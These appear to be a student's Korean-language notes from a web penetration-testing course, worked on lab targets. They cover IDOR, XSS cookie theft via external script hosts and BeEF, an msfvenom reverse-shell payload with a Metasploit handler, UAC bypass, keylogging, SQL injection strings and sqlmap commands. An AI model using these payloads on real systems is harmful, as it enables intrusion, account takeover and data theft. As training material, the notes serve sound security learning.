- 그러나 jumin1()으로 호출되는 부분이 실제 회원가입시 호출되는 게 맞나 확인해 봐야함

--> 조사해보니 맞음

  • 이렇게 document.form.submit(); 전까지 지우면 됨!

- 이거까지 지우면 안넘어가지니까 주의하기

  • intercept off 한 후 암거나 입력해도 잘 넘어가지는 지 확인

- 사진에서 보면 갯수도 안맞지만 잘 넘어가져서 들어가 있는 것이 보임

회원정보 대충 써도 넘어가지기

  • 안에도 적어야 하는 정보가 많으므로 또 날려주자
  • intercept on 후 확인

- 함수는 날리면 안됨

  • send function이 최종적으로 회원정보를 저장하는 것임

- 그러니까 그 밑부분을 날려주면 되겠징?

- 참고로 action과 submit 같이 있는 부분은 꼭 필요한 부분이니 제외하고 날려주자

  • 이후 회원가입을 하면
  • 이렇게 아무값이나 넣어도 회원가입이 됨

*http://222.98.37.92:8182/ 여기서도 해보기

마찬가지로 타겟으로 설정해줘야 하고 form과 submit 데이터는 살려둬야 함

--> 오류가 났지만 가입은 됨!

* 원래는 admin root webmaster 이런걸로 가입하는 것도 막힘

관리자 아이디 같이 생겼잖아?


게시물 및 개인정보 조회/수정

1:1 문의게시판

  • 먼저 내 계정으로 게시글을 작성해서 안으로 들어가보자
  • Burp suite로 들어가서 프록시를 잡아보면 Get의 Data가 보임

- 마우스 커서 올리면 무슨 뜻인지 알 수 있음

  • 여기서 idx 값 바꾸면 다른 사람이 작성한 글이 보임

idx 450으로 변경한 화면

비밀게시판

  • 여기 부분은 설명 따라가기 바빠서 캡쳐가 많이 없음 ㅠㅠ
  • 비밀게시판의 구조를 보게 되면, 처음 접근할 때도 비밀번호를 입력해야 함
  • 이후 수정도 비밀번호를 입력해야 함
  • 내 게시글로 들어가면서 변화를 보면

- 처음 접근했을 때 : board_lock.asp?data=idx~~~~

- lock을 풀며 : board_view.asp

- 수정 전 password 물어보고

- board_edit.asp

- board_edit_ok.asp // 수정 저장

=> 위와 같은 순서로 비밀게시판의 수정이 이루어짐

  • 게시글 열람을 위한 비밀번호 입력 화면에서 잘못된 비밀번호를 입력하고 intercept해서 보면

- 이렇게 나와있는 부분을 삭제하게 되면 원본이 나오게 됨

--> 근데 이건 서버에서 하는 것이므로 지금은 할 수 없음

- 비밀번호를 모르기 때문에 게시글을 보는 다른 방법을 찾아 보아야 함

--> 그렇지만 나중에 입력값 검증을 통해 우회하는 법 배울거임

  • 그럼 다음페이지(수정페이지)에서 접근하는 방법을 고려해보자

- 글수정하기 내거 들어가기 위해서 비밀번호 입력하고 인터셉트 하면 또 값들이 나옴

--> idx 값 변경 시도 --> 실패

  • 아예 글 수정 페이지로 들어가 보자

- 여기서 보니까 글 수정하기 게시글 안에도 비밀번호 항목이 있음

- 글 수정하고 저장할 때 필요한 정보인 지 확인해 보니

--> 일단 똑같이 비밀번호 항목이 있기는 하지만 idx 뒤의 숫자 바꿨을 때 수정완료가 뜸

----> 다른 사람의 게시글 내용이 수정되었다는 것

- 결론은 board_edit_ok.asp 여기서는 비밀번호 체크를 안하므로 다른 사람의 게시글 수정은 가능!

--> 잘 수정되었나 확인해보는 건 못하겠지만 다른 조원분 말로는 제목과 비밀번호까지 수정 가능

----> 그렇다면 내가 직접 변경한 비밀번호로 들어가서 확인해볼 수 있겠지?

ask_view.asp 취약점

  • 강사님의 idx넘버를 예시로 들면, 1대1 문의 게시판의 숫자가 473인데 비밀 게시글은 524였음
  • 대략 50정도의 차이가 나고 학생 수가 50명이니 이어질 수 있겠다는 추측이 가능함

- 1:1 문의 게시판과 자유게시판이 이어진 것 아니냐는 추측 (비밀글도)

  • 이는 ask_view.asp의 취약점을 뜻하는데

- 1:1 문의에서는 비밀번호를 묻지 않음

- 그러나 비밀게시글과 같은 데이터베이스를 쓰고 있음

- 분리가 안돼있기 때문에 1:1문의 글을 통해 비밀게시글 내용을 볼 수 있겠다는 추측 가능

- html의 idx값을 바꿨더니 진짜 나옴

  • 이것은 ask_view.asp의 취약점과 연결성을 찾아내는 것임

기타

  • 상품 주문 내역 열람 : 8888포트에서는 가능할 거라고 하심(안해봄)
  • 상품 장바구니, 관심 물품 열람

- 장바구니 내거 글쓰기하고 삭제하는 거 intercept 후 idx 수정하면 딴사람 거 대신 날라감

- 관심 물품 삭제는 불가

  • 게시글 댓글 삭제 : 불가
  • 상품평의 게시물 삭제 및 수정 : idx 수정하면 된다고 하시면서 보여주셨는데 안됐는데 됐다고 하심...응..?

*8888포트에서 기간 지난 투표하기

status == 'now'로 바꾸거나 status!='last'로 하라고 하심

근데 난 냅다 지워버림 그랬는데 됨 히히

Burp suite 추가 기능

  • send to repeater

- 연속적으로 확인 가능한 도구

--> 게시글을 예로 들어서 생각하면 글 내 개인정보 많은 다량의 글 하나씩 확인하는 건 번거롭

--> 그럴 때 사용하는 것

- 패스워드 무작위 대입 및 반복적 업무 시 사용

  • repeater 예시 (게시글로)

- 상세페이지 할 때 intercept 해서 잡기

- 다른 사용자 게시글 볼 때 idx 값 바꿈

- proxy에 뜬 정보에서 마우스 오른쪽 눌러 repeater로 보냄

--> repeater 탭 눌러보면 request화면과 response화면 있음

- send 누르면 바로 response에 뜸

- 그래서 idx 값만 바꿔서 send하면 response에 바로바로 뜸

  • send to intruder

- 갖고 있는 사전 파일들을 특정한 파라미터에 보낼 수 있음

--> 우리가 바꿀 숫자는 idx 값이므로 숫자들 양끝에 add 추가

- attack type

--> 스나이퍼 : 한놈만 팸 (지금 이거 써볼겨)

--> cross the bumper : 두개 이상의 값 크로스로 넣어 볼 때 사용

--> 예시) ID 값으로 갖고 있는 딕셔너리와 PW 값으로 갖고 있는 딕셔너리 교차로 검증해 볼 때

- Payloads 탭으로 가기

--> set 싱글리스트 > numbers > 550-600 > start attack

--> length 3369는 게시글이 없는 것

  • sequencer : 캐시 정보
  • extensions : 확장기능

- burp suite에서는 확장기능 설치해 분석에 사용할 수 있음

- pro 버전에는 자동 스캐닝 기능있음 / 좋은 기능은 주로 pro에만 있음

지금까지 인증처리 미흡에서 나오는 여러 취약점들을 보았는데

*주의사항*

  1. 실무에서는 절대 함부로 다른 사용자의 글을 건드려서는 안됨!
  2. 두개의 계정 사용 : Chrome/Edge

 

XSS 취약점

특징

  • Cross Site Scripting
  • 사용자 브라우저를 제어하여 악의적인 사이트로 유도할 수 있는 스크립트 삽입 취약점
  • 클라이언트 스크립트(html, javascript 등)
  • 심각한 이유

- 악성코드 배포 가능

- 사용자의 쿠키 정보 획득 --> 권한 획득

- 피싱 사이트 유도 가능 --> 계정 정보 탈취

- CSRF 공격을 통해 사용자가 임의로 데이터 수정 가능

준비

- window 7을 victim으로 사용

스크립트 공작 여부 판단

  • 모의해킹용 쇼핑몰에 들어가자

- 게시글 작성에 들어가서 보면 html로 쓰게 돼있다

--> <script>alert(1)</script> 쓰고 저장하면?

- 이렇게 알람이 뜨는 것을 보아하니 script가 아주 잘먹히는 군요

  • <script>,<img>,<iframe>,<video> 등 모든 스크립트가 공격코드가 될 수 있다고 생각하며 접근
  • 하나씩 가능한 것을 확인해보며 메뉴얼을 만들어나간다

악성코드 배포 가능 확인

  • 보통 게시판에 많은 기능들이 있기 때문에 게시판을 주로 갖고 논다
  • 위에서 봤던 것처럼 alert(1); 에서 1이라고 하는 이유는?

- 갯수가 늘어났을 때 알람이 울리는 위치를 정확히 파악하기 위해!

  • 사실 iframe도 굉장히 많이 사용함

- iframe은 프레인을 나누기 위해 사용하는 것인데

- <ifrme src = "http://222.98.37.92:8181"></iframe>

- <iframe src="http://222.98.37.92:8181" width=0 height=0></iframe>

--> 일케 놓고 봤을 때 밑에건 엄청 작아서 티가 안난다

요게 iframe

티가 안나지..?

  • 이렇게 스크립트와 iframe 같은 것들이 들어가서 악성코드를 배포할 수 있다는 것!
  • 대응방안

- script와 iframe을 허용할 이유가 있는 지 생각해 볼 것

JS통해 쿠키 정보 가져오기

  • <script>document cookie;</script>
  • cookie.zip 파일 다운 : 직접적으로 악성서버 구축 시 사용

- 브라우저의 쿠키 값(인증) cookie.php에 쿠키 정보 보내는 것

  • cookie.php 파일은 서버 역할을 함

- GET으로 쿠키 정보 받아서 사용

- REFERER 어딜 통해 정보가 들어왔는 지 굉장히 중요

  • cookie.html에 정보 저장 -> 수집되는 정보 보여짐
  • 이 모든 것이 가능할라면 모든 태그들이 허용이 되어있어야하는데
  • 그럼 그냥 <script src="http://172.20.10.2/a.js"></script> 이렇게만 해주면 긴 코드와 동일함

xss헌터

  • 사이트 접속 후
  • 게시글 내 <script src=https://violet.bxss.in> (이건 제 계정이용한 거임) 입력해서 올린 다음
  • 누군가 내 글을 클릭하면 그 사람의 쿠키값 가져갈 수 있음
  • 이렇게 보입니다 정보가
  • 이 획득한 쿠키 값으로 개발자 도구> 쿠키 값> 다른 사람의 쿠키값 입력 > 다른사람으로 로그인 성공

누군지 모르니까 가려드립니다..

  • 대응방법

- 악의적으로 사용할 수 잇는 스크립트 제한(이건 XSS 공통이지)

- 사용자 쿠키 정보 보안

--> arp spoofing 같은 건 같은 네트워크 내에 있어야 하는데 우린 지금 원격으로 다른 사람의 것을 가져 온 것

--> 그 말은 쿠키값은 세션값인데 쿠키 값 = 세션 + 사용자 IP 이렇게 되면 Expire(만기, 로그아웃)됨!

--> (참고) 네이버 로그인 할 때 보면 오른쪽 밑에 IP보안 켜는 거 있음

* 금융권의 쿠키 값 = 세션 + 사용자 IP + 사용자 하드웨어로 되어 있음 => 뚫을라면 리버싱 필요함

* 취약점 대응방안 =/= 공격 형태에 따른 대응방안

피싱사이트 유도 가능 확인

  • 계정정보 탈취 가능
  • 준비

- kali에서

$ sudo apt install beef-xss //공격도구 //만약 패스워드 설정에 문제 있을 시 /usr/share/beef-xss //여기서 $ sudo vim yaml파일(이름 정확히 기억이 안낭) //가서 정보 수정 $ sudo beef-xss-stop //beef 멈춤 $ sudo beef-xss //다시 시작

이런 화면이 뜸

- ieee -> 윈도우 7 열기

- 윈도우에서 쇼핑몰 사이트 열어서 게시글에

--> <script src="http://192.168.5.132:3000/hook.js"></script> --> kalli IP 주소

--> Kali는 NAT 네트워크임으로 다른 사람들이 접근 불가

--> 이제 희생 피씨 (윈도우 7)에 악성 코드 뿌린 것

  • beef에서 보면 상당히 많은 정보들을 알 수 있음

- Get Cookie : 쿠키 정보 가져오기 가능

오른쪽 데이터에 쿠키 정보가 보이지용

- Get from value : 입력되는 모든 정보 가져올 수 있음

- Get page HREF's : 사용자 입장에서 링크되어있는 것들을 가져오는 것

--> 관리자로 로그인 되어있을 때 어디로 연결되어있을까 확인 가능

주고받고 있는 것 확인 가능

- cerate alert (앞에서 JS로 했던 것)

- create prompt : 질문 만들어서 입력 받으면 그 값이 저장 됨

왼쪽 위에서 비밀번호 묻는 중

오른쪽 데이터에 보면 입력한 값이 들어옴

  • Social Engineering (사회공학적 기법) : 모의해킹 비즈니스 + 시나리오 모의 해킹(1달)

- 담당자들에게 악성코드 배포 : 담당자 PC 공인인증서/ 보안카드/ 비밀번호

- 무선 AP 설치 > ARP 스푸핑 > 개인정보 탈취

- 보이스피싱

- 임직원들 전체 대상으로 보안의식진단 : 이메일 악성코드, 모바일 악성코드

- 건물 내 돌아다니며 물리보안 확인

=> 이제는 ISMS-P 인증이 주가 되어 모의해킹업무는 2주정도만 (웹 또는 앱만)

  • 사회공학적 기법 도구 사용해보기

- Google Phising : IP를 Kali IP로 바꿔주기 --> 스크립트 썼던 게시글 들어가서 execute 하면

아예 위에 주소도 바꼈지

- Flash Update : Google Phising과 방법은 같음

- notification bar

위에 경고 바 있어유

악성코드 제작

$ sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.132 LPORT=5555 -f exe -o Flash.exe // meterpreter 형태로 payload를 만들거라는 뜻 // LHOST는 공격자쪽 IP 사용 / 어떤 PORT에 붙을 것이냐 확인 // -f는 exe 파일로 만들겠다는 뜻 // -o는 output // 하나 더 열어서 악성코드와 연결할 핸들러 준비 $ sudo msfconsole msf6 > use exploit/multi/handler // set[*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp // PAYLOAD => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.5.132 // LHOST => 192.168.5.132 msf6 exploit(multi/handler) > set LPORT 5555 // LPORT => 5555 msf6 exploit(multi/handler) > exploit // [*] Started reverse TCP handler on 192.168.5.132:5555

handler 가동된 모습

웹서버 (배포)

  • apache 서버 이용시 : 만들었던 exe 파일을 /var/www/html로 옮겨 http://칼리IP/flash.exe
  • python simple http server(파이썬이 구축된 환경) 이용시 : 파이썬이 임시적으로 웹 서버 구동하는 것
  • 그래서 우리가 파이썬 서버 실행할 것

- 포트 겹치는 거 방지 위해 8000포트 사용 > 웹 서버가 8000port로 구동되는 것

- 파이어폭스에서 localhost:8000으로 확인 가능

- 여기에 flash.exe 있으니까 http://localhost:8000/flash.exe 하면 배포 경로가 되는 것

  • beef의 flash update가서 url 입력하고

- execute > flash 창 뜨면 저장 > Action > More > Run Anyway

- 다운로드 된 파일을 실행시키면 handler쪽 Kali 화면에 meterpreter 뜸

*게시글 이외에 관리자를 낚을 수 있는 곳에 대해 고민해보기

악성코드 실행 (활용)

  • meterpreter > screenshot : 말그래도 스크린샷 찍기
  • meterpreter > screenshare : 뭐하고 있는 지 다 보임
  • webcam_stream : 현재동작중인 캠땜에 실습 불가
  • keyscan_start : 사용자들이 입력하는 값 가져오기 / keyscan_dump : 입력한 값 보여줌 / keyscan_stop
  • 권한 상승
getuid // userid 획득 background // 잠깐 문 여는 것 meterpreter > background // [*] Backgrounding session 1... msf6 exploit(multi/handler) > sessions -i /* Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/win IE11WIN7\IEUser @ IE 192.168.5.132:5555 - dows 11WIN7 > 192.168.5.134:4938 1 (192.168.5.134) */ msf6 exploit(multi/handler) > sessions -i 1 // [*] Starting interaction with 1... meterpreter > background //exit로 나오면 안됨 세션이 끊기는 것 // [*] Backgrounding session 1... msf6 exploit(multi/handler) > search bypassuac //보안 권한 넘기기 찾기 // 현재 일반 사용자로 되어있는데 관리자 또는 시스템 권한 넘길 수 있는 것을 찾아 권한 상승 하는 것 //2 exploit/windows/local/bypassuac 2010-12-31 excellent No Windows Escalate UAC Protection Bypass // 이거 사용할 것 msf6 exploit(multi/handler) > use 2 msf6 exploit(windows/local/bypassuac) > set SESSION 1 msf6 exploit(windows/local/bypassuac) > exploit meterpreter > getuid // Server username: IE11WIN7\IEUser meterpreter > getsystem // ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid // Server username: NT AUTHORITY\SYSTEM

bypassing

- 권한이 사용자였는데 시스템권한으로 권한 상승된 것

- 일반적으로 웹캠은 하드웨어잖아 하드웨어를 제어하려면 드라이브 제어해야함

- 드라이버는 커널 영역에 있는 것 사용자 영역과 커널 영역이 있는데

- 사용자들이 보통 사용하는 운영체제 부분이 사용자영역

- 드라이버가 것도 커널영역에 있는애가 드라이브를 제어하고 그게 커..

*말씀하시는 게 이해가 안가서 찾아봤다!

유저영역 : 프로그램이 동작하기 위해 사용되는 메모리공간을 가리킴 -> 응용 프로그램이 실행되는 모드로 물리적인 영역으로의 접근이 허용되지 않으며, 접근할 수 있는 메모리의 영역도 제한이 따름

커널 영역 : 총 메모리 공간 중 유저 영역을 제외한 나머지 영역 --> 운영체제라는 하나의 소프트웨어를 실행시키기 위해 필요한 메모리 공간 --> 운영체제가 실행될 때의 모드로, 메모리 뿐 아니라 하드웨어의 접근에도 제한이 따르지 않음

=>어.. 모르겠다... 일단.. 넘겨..! ㅎ 어려운거랬어!

 

- 어쨌든 사용자는 사용자 영역에 드라이브는 커널영역에! 권한상승으로 여러가지 권한 획득 가능!

  • 중요한 것은 xss 취약점이 있으면 이렇게 악성코드 배포 및 실행이 가능하다는 것
  • 그래서 1:1문의 게시판, 회원가입, 주문조회 같은 곳에 취약점 넣으면 관리자 잘 낚이는 것을 활용할 것

*주소 뒤에admin 입력하면 관리자 창으로 전환되는데 나중에 보고서 쓸때 활용하셈~ (하나는 크롬, 하나는 엣지)

관리자 세션정보로 관리자 권한 획득할 수 있는 지 확인해보기 --> 한방에 되면 선물준다 하심

*실무 TIP

그 날 입력한 코드는 그 날 지우고 집 가기! 항상 테스트 한 것은 지우고 퇴근하기!

악성코드배포 대응 방안

  • <script> , <iframe> 차단
  • 내용입력 형식 text로만 입력되도록 하기

- 그러나 비즈니스적 측면을 고려했을 때 text만 열어둘 수는 없음

- 사진이나 동영상 입력 시 특정 기능으로 따로 올리게 하는 것도 방어가 됨

*사용자 페이지에서 <script>가 안먹혀도 관리자 페이지에서는 어떨지 모르니 포기하면 안됨

이런 상황이 생기는 이유는 관리자들은 내부의 것이니까 보통 외부만 함 => 다방면에서 꼼꼼히 확인해 봐야 함

 

SQL Injection

SQL주입 공격

  • 공격자 --> WEB(WAS) --> DB
  • 공격자는 WEB을 통해 DB에 요청한 것 이외에 다른 것들을 얻기 위해 쿼리문 작성해서 보냄
  • 그럼 WEB은 DB에 보내고 DB가 답변해주면 끝나는 것..!
  • WEB이 그럼 정상적인 것을 걸러내 DB에게 줘야하는데 그렇지 못해서 발생하는 취약점
  • 공격자가 임의의 공격 쿼리문을 전달할 때 입력값 검증 미흡으로 데이터베이스의 다른 정보들까지 노출되는 것

준비

  • bee-box 열기
  • bWAPP에서 SQL Injection(GET/Search) Hack

- XSS 공격형태 모아져 있는데 기본적인 스크립트 뿐 아니라 여러 태그 형태들이 있음

- 어떤 브라우저 환경에서 실행가능한 지 나와있음

- 나중에 버그바운티 할 때 실제로 alert만 띄워도 보상해 주는 경우 있음

- 예시) <body onload =alert(1)> 바디가 온로드 될 때 알림 발생

Error-Based SQLi

  • 위의 게시판 검색창에 '를 입력하면 Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
  • 이 오류 메시지에서 MySQL을 활용했다는 것과 %근처에서 오류가 발생했다는 정보를 얻을 수 있음

-그래서 소스코드 확인하러 들어가 보면

bee@bee-box:~# cd /var/www/bWAPP //여기에 소스코드 존재 bee@bee-box: /var/www/bWAPP # vim sqli_1.php
// 바로 에러메시지 구간으로 가면 <?php 137 138 if(isset($_GET["title"])) 139 { 140 141 $title = $_GET["title"]; 142 143 $sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . " %'"; 144 145 $recordset = mysql_query($sql, $link); 146 147 if(!$recordset) 148 { 149 150 // die("Error: " . mysql_error()); 151 152 ?>

- title 값이 LIKE 사이 %" . sqli($title) . " % 요만큼 들어간다는 것

- ' 이거 사이에 들엉가는 건데 검색창에 '이게 들어가면 오류가 발생하는 것

=> 그래서 보통 '와 " 먼저 검색해 봄

  • 검색창에 'or 1=1하면 전체 값이 보임

- SELECT * FROM movies WHERE title='' or 1=1#

--> 일케 하면 # 뒤가 주석 처리가 되고 뒤에 뭐가 들어가든 참값이 되므로 전체값이 가져와 지는 것

  • 이걸 Error-Based SQLi라고 부르는 것
  • Blind-Based SQLi 와 Time Blind Based SQLi가 있는데 오늘은 Error-Based를 중점적으로 볼 것

현재 테이블에서 알아내기 (DB정보 확인하기)

  • 'order by 해보기

- 'order by 1# // 변화 없음

- 'order by 2# // 타이틀 기준 정렬

- 'order by 3# // 연도기준 정렬

=> 컬럼 기준 정렬 담당이 order by

- 'order by 8#

> Error: Unknown column '8' in 'order clause' // column 값이 7개다

- 우리가 만든 gmshop으로 가서 해 보면 24개까지 나오는 것을 확인 가능

  • burp suite에서 확인해보기 (gmshop)

- 기초 설정 다 하고 작성자에 'order by 1# 해놓고 프록시 잡기

- send to intruder해서 1에 add 놓고 sniper로 30까지 잡아본 후 attack해보기

=> 25부터 떨어지는 것 확인 가능

  • union : 데이터 뒤에 가져오고 싶은 것 붙여넣어서 보이게 하는 것

- ' union select 1,2,3,4,5,6,7# //일케 할거임

- ' union select 1,2,3,4,5,6# //얘도 해볼거임 --> 오류발생

=> 컬럼 값이 맞아야 함

=> 숫자로 확인해 본 이유는 실제 순서가 숫자대로가 아니어서 (위치파악위해)

' union select 1,@@version,3,4,5,6,7# // @@version은 데이터 베이스 서버의 버전 // user() 현재 사용자의 아이디 0' union select 1,@@version,3,4,5,6,7# // 0 붙이는 이유는 맨 밑에 내려가서 보는 거 귀찮음 // 그래서 조회되지 않는 값 넣고 우리가 원하는 값 검색해보는 것
0' union select 1,user(),3,4,5,6,7#

- 사진 보면 root로 준 것은 굉장히 위험한 것 (생성, 삭제 , 업뎃 같은 거 가능)

- -> 권한 최소화하기

  • 데이터베이스>테이블>컬럼>데이터 : 이제 DB 정보 확인한 것!

Table 정보 확인

  • bee-box의 mysql database 정보를 보게 되면 information schema라는 것이 있음
  • Information schema : 기본적으로 mysql, oracle 설치하면 있음 / 본인을 포함한 모든 데이터베이스의 스키마 정보를 가지고 있는 것

- 뷰 형식으로 되어있음 => 관리를 위한 목적으로 설치가 된 것

- 데이터보다 구조가 들어가 있는 것

--> 어떤 데이터베이스의 테이블이 어떻게 되어있는가 무슨 컬럼들이 들어있나 볼 수 있는 것)

- 얘 없애면 나중에 클 남

=> 이걸 조합해서 공격패턴 많이 만들어 냄

  • 검색
0' union select 1,table_name,3,4,5,6,7 from information_schema.tables# // 인포메이션 스키마의 테이블스에서 테이블 정보를 가져오는 것
0' union select 1,column_name,3,4,5,6,7 from information_schema.columns#
0' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'# // 테이블의 사용자 정보이니까 중요함 //그리고 컬럼 내용 너무 많으니까 중요한 것의 정보들로만 구성해서 살펴보는 것
  • 보안대응

- union select나 tablename이나 informationschema 검색 못하게 하면 되는 겨

--> 그래서 입력값 검증이 안되도록 하면 되는 겨

=> 이제는 많이 없음 그러나 나오면 크리티컬....

데이터 뽑아내기

0' union select 1,login,password,4,5,6,7 from users# // 그럼 로그인 아이디 패스워드 볼 수 있따!

* TIP!

0' union select 1,concat(id,login),password,4,5,6,7 from users#

// concat이 언제 쓰이냐면 제한된 컬럼안에 보고 싶은 게 많을 때 쓰임

  • 위의 사진에서 보면 비밀번호가 해시값으로 나와 있음
  • 그럼 패스워드 크랙도구를 이용해야지!

- kali에서 $ sudo hash-identifier

- 첫번째 패스워드 [+] MySQL5 - SHA-1(SHA-1($pass))

--> 해시값보면 두번째 것도 같다는 것

=> 사실 취약한 패스워드는 구글에 검색하면 나옴 ㅎ

  • SHA-256이 가장 안전한 것

rainbow tables

=> 취약한 것

- SHA1 첫번재거 보면 52기가면 뚫린다는 얘기

- 마지막것도 316기가 정도면 뚫린다는 것 (생각보다 적죠?)

  • SHA-256은 엄청나서 딕셔너리 갖고 있으면 개짱인....
  • SHA-256이라고 해도 다 안전한 것은 아님

- 요즘은 다 256이긴 하지만 유출이 됐다고 해도 약한 패스워드로 설정을 하면 털리는 것

--> 그래서 숫자, 문자, 특수문자 섞으라는 것

- 공격자들도 256에 대한 것도 생각해두고 그래서 넉넉한 GPU도 갖고 있고

- AI도 너무 잘 돼있어서 요새도 6개월 정도면 다 크랙된다...

--> 그래서 맨날 비번 3개월마다 바꾸라고 하자나


복습

Error-Based SQLi

  • 모든 파라미터 값에 대해 테스트를 해 봐야 함

- 이건 body에서 넘어오는 것이므로 url에서 수정할 수 없음

--> burp suite로 프록시 잡아서 수정하면 됨!

- 확인 해 보면 movie=1' 일케 하면 오류 뜸

- xss 가능한 지 확인해 보기 위해 movie=1<script>alert(1);</script> 이런식으로 해봐야 함

- xss뿐 아니라 다른 입력값 검증 관련 취약점들도 전부 확인해 봐야 함

  • gmshop에 보면 url에 여러 파라미터가 있는데 거기에도 다 하나씩 해봐야 하는 것이고 한 게시판에 발견된 취약점이면 다른 게시판들에도 다 해 봐야 함

Blind-Based SQLi

Boolean-Based

  • 여기서는 ' 넣으면 syntex error 뜨고 "는 movie가 없다고 나옴
  • 에러가 없다는 가정하에 blind를 시작함

- 왜냐면 에러있으면 다 보이자나! 굳이 블라인드 할 필요가 없어

  • 뒤에 and 1=2# 하면 False 값임 => 그럼 데이터가 안나옴
  • 근데 and 1=1# 하면 True라서 데이터가 나옴
  • 그럼 뭘 써야 안보이는 데이터베이스를 볼 수 있을까?

- 앞에 참값을 기본으로 해서 물어봐야 함

- 진실게임 약간 스무고개 그런거 하는 거 같음

--> 이름이 뭐야? 하면 대답 안해줌 근데 이름이 이거야? 라고 물어보면 yes or no 대답해 줌

  • 그럼 쿼리문 어떤식으로 만들어질까?

- 우선 참값이 만들어져야 함

- 예를 들면 'or 1=1 and substring(database(),1,1)='a'#

--> 이게 뭐냐면 or 1=1로 참값을 만들어주고 database의 첫번째 인덱스의 한글자가 'a'이니? 묻는 것

=> 결과가 아니라고 나옴

--> 그럼 b야? 'or 1=1 and substring(database(),1,1)='b'#

=> 맞아! 그럼 b로 시작한다는 것

  • 그럼 이제 뒤 값들도 알아 봐야지

- 'or 1=1 and substring(database(),2,1)='w'# (우리는 bwapp인 것을 아니까 바로 넣어보면)

--> 대소문자 구분을 안한다는 것을 알 수 있음

  • 요즘 실무에서는 에러베이스드는 거의 없지만 블라인드는 생각보다 많이 발생함 왜냐면 모든 파라미터 값들을 이렇게 하나씩 점검해 봐야하는 그런 귀찮은거여서
  • 그럼 for문을 돌리면 좋겠찌?

- 리스트 값에 넣어서 request해서 response로 받으면 편할듯

- 근데 [a,b,c,d,....1,2,3,4....] 이르케 하면 너무 귀찮잖아

- 그래서 우리는 아스키 코드를 활용할거다 (문자를 10진수로 나타낸 것)

- 'or 1=1 and ascii(substring(database(),1,1))=98# 일케 물어보면 나온다~

- 이제 for문 돌릴 수 있겠네?

  • gmshop도 언젠간 도전 ^_^

Blind-Based (Table)

  • 우리 어제는 에러베이스드로 테이블이 다 나오는 것을 확인할 수 있었지
  • 근데 블라인드는 참거짓만 가능하니 어떻게 해야할까?
  • 테이블들이 분명 있을거고 화면에만 안보이는 중이니 어케 물어볼까?
  • 첫번째 테이블을 우선 선택해서 물어보기

- 얘도 나눠서 물어봐야 하는 것

--> 첫번째 테이블의 첫번째 데이터 ~~ 이런식으로

  • 첫번째 테이블 길이 물어보기

' or 1= 1 and length((select table_name from information_schema.tables where table_schema= 'bWAPP' limit 0,1))= 4#

- limit은 테이블을 의미함

-idex는 0부터 시작 (아까 substring은 1부터 시작함)

--> 문법이 일케 생겨 먹은 게 누구탓일까 멋져~~

  • 첫번째 테이블 첫글자

' or 1= 1 and substring((select table_name from information_schema.tables where table_schema= 'bWAPP' limit 0,1),1,1)= 'b'#

- 그래서 limit의 0에서 1까지, 그 중의 substring하면 1의 1

  • 아스키로 바꾸면?

' or 1= 1 and ascii(substring((select table_name from information_schema.tables where table_schema= 'bWAPP' limit 0,1),1,1))= 98#

TIP!

  • 요즘 실무에서 blind 돌릴 때는 민감한 부분이므로 고객사 허락꼭 맡기
  • 한 땀 한 땀 해보기~~ 컬럼값으로도 바꿔보고~~

Time-Based

  • 에러베이스가 없으면 블라인드, 걔도 없으면 이거 하는 것
  • 앞에서 수행한 거 다 해봐도 반응 없음
  • 'or 1=1 and sleep(5)# => 위에 보면 도는 중 => 반응하는 중이라는 것=> 계속 쉬고 있음 (5초가 넘어도)

- 이유 : 데이터베이스라는 게 컬럼 기준으로 가져오는 것인데 어제 7개였찌?

--> 그럼 7개를 한 개마다 가져오면서 쉬고 있으니까 총 35초를 쉬고 있는 것을 알 수 있음

  • 'or 1=1 and substring(database(),1,1)='b' and sleep(5)#

- 실제로 쉬는 것을 보며 참임을 알 수 있음

  • 주의사항 : A라는 사용자와 DB를 연결하는 session으로 동시접속되고 있는 동안에 나만 데이터를 요청하는 것이 아닐거임 근데 세션별로 DB는 처리를 하기 때문에 순간적으로 sleep이 먹히면 프로그램의 스레드는 한정적으로 되어있는데 이 스레드가 꽉 차 버리는데 그럼 다른 B나 C라는 사용자가 요청할 때 대답을 안해주는 것

- 장애 발생 이전에 발견되지 못했던 취약점에서 sleep이 발생하며 장애가 발생되는 경우 많음

--> 스캐너로 돌릴 때 주의할 것 (선택하고 빼는 것 신중히 해서 프로파일만들 것)

- 파라미터를 여러 개 동시에 쐈을 때 문제가 발생하는 것

SQLMAP

POST/SELECT

  • movie=1&action=go에 문제ㄱ 있다는 것을 알고 있찌
  • 쿠키 값이 필요함 왜냐면 우리가 이미 id/pw를 치고 들어간 것이기 때문에
┌──(kali㉿kali)-[~] └─$ sqlmap -u "http://192.168.5.133/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=dbe1a112e9d924b1dce94f48a4902159" --data "movie=1&action=go" --dbs

- -p라는 옵션도 있는데 movie라고 지정해주면 그것만 점검해 줌

- dbs는 데이터베이스를 가져오겠다는 것

- dump로 가져올 수 있지만 그럼 엄청 많음

  • (중간에 나오는 질문 해석) 기본 패턴들이 1로 되어있는데 3으로 하면 더 많은 패턴을 사용해보겠다고 하는 것

- 1로 해봤는데 안나올 때, 2나 3으로 늘려볼 필요 있음

  • 우리는 지금 무비/액션 쪽에 취약점이 있어서 여기서 하는건데 여기에만 취약점이 발생하는 것이 아니고 서버입장에서 데이터를 받는 모든 곳에서 발생할 가능성이 있음

- 그래서 cookie, referer, user-agent 이런데에도 공격 시도 가능한 것 알고 있기

- 이런 걸 조절하는 게 risk인 것

[21:51:42] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' // 요쪽에서 잠깐 멈췄다가 감 (Sleep이니까) [21:51:52] [INFO] target URL appears to have 7 columns in query // 7개인 것 맞춤
  • union 해봐도 되냐고 물어보면 yes
[21:54:11] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.5.133' //요기 저장햇다고 나옴
  • table도 해볼게용
